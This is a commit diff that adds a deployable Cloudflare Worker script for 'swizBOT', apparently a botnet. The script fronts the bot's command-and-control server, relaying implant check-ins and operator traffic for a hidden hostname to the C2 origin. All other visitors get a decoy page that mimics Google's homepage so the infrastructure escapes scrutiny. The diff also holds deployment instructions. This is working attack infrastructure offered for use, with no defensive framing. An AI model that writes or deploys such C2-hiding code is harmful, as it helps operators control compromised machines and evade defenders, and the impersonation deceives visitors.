Upload files to "deploy"

2026-09-24 08:34:38 +00:00 · 2026-09-12 01:29:03 +00:00
parent 58a8014977
commit 62b3a03370
1 changed files with 88 additions and 0 deletions
@@ -0,0 +1,88 @@
+/**
+ * swizBOT - CDN fronting worker (Cloudflare)
+ *
+ * Routes on the Host header: requests for the hidden C2 hostname are
+ * forwarded to the swizBOT origin; everyone else gets a decoy page.
+ * The implant protocol is plain HTTP(S) polling (checkin/result), so
+ * this worker fronts the whole bot fleet plus the operator API and
+ * dashboard without any WebSocket bridging.
+ *
+ * Pattern based on the noPROXY_c2s "c2s_cdn_fronting" worker.js by
+ * ek0mssavi0r (MIT) and the c2d deployment worker (saviorSEC/c2d).
+ *
+ * Deploy:
+ *   cd deploy
+ *   wrangler deploy cloudflare_worker.js
+ *
+ * Environment (wrangler.toml or dashboard):
+ *   C2_HOST      - hidden hostname routed to the C2, e.g. "c2-api.example.com"
+ *   BACKEND_URL  - swizBOT origin, e.g. "https://c2.example.net:8443"
+ */
+
+export default {
+  async fetch(request, env) {
+    const url = new URL(request.url);
+    const host = (request.headers.get("Host") || "").toLowerCase();
+
+    // ---- C2 routing ----
+    if (env.C2_HOST && host === env.C2_HOST.toLowerCase()) {
+      const backendUrl = env.BACKEND_URL + url.pathname + url.search;
+      const backendReq = new Request(backendUrl, {
+        method: request.method,
+        headers: request.headers,
+        body: request.body,
+        redirect: "follow",
+      });
+      try {
+        return await fetch(backendReq);
+      } catch (err) {
+        return new Response(
+          JSON.stringify({ error: "backend unreachable", detail: err.message }),
+          { status: 502, headers: { "Content-Type": "application/json" } }
+        );
+      }
+    }
+
+    // ---- decoy for everything else ----
+    return new Response(DECOY_HTML, {
+      headers: {
+        "Content-Type": "text/html; charset=utf-8",
+        "Cache-Control": "public, max-age=300",
+      },
+    });
+  },
+};
+
+const DECOY_HTML = `<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1.0">
+  <title>Google</title>
+  <style>
+    * { margin: 0; padding: 0; box-sizing: border-box; }
+    body { font-family: Arial, sans-serif; background: #fff; color: #222;
+           display: flex; flex-direction: column; align-items: center;
+           min-height: 100vh; }
+    .bar { width: 100%; max-width: 640px; margin: 20vh auto 0; text-align: center; }
+    h1 { font-size: 64px; font-weight: 500; letter-spacing: -4px; }
+    h1 span:nth-child(1){color:#4285F4} h1 span:nth-child(2){color:#EA4335}
+    h1 span:nth-child(3){color:#FBBC05} h1 span:nth-child(4){color:#4285F4}
+    h1 span:nth-child(5){color:#34A853} h1 span:nth-child(6){color:#EA4335}
+    input { width: 100%; padding: 12px 16px; font-size: 16px; margin-top: 24px;
+            border: 1px solid #dfe1e5; border-radius: 24px; outline: none; }
+    .btns { margin-top: 24px; }
+    .btns button { background: #f8f9fa; border: 1px solid #f8f9fa; border-radius: 4px;
+                   padding: 8px 16px; margin: 0 6px; font-size: 14px; cursor: pointer; }
+    p.foot { margin-top: 40vh; color: #70757a; font-size: 13px; }
+  </style>
+</head>
+<body>
+  <div class="bar">
+    <h1><span>G</span><span>o</span><span>o</span><span>g</span><span>l</span><span>e</span></h1>
+    <input type="text" aria-label="Search">
+    <div class="btns"><button>Google Search</button><button>I'm Feeling Lucky</button></div>
+  </div>
+  <p class="foot">Privacy - Terms - Settings</p>
+</body>
+</html>`;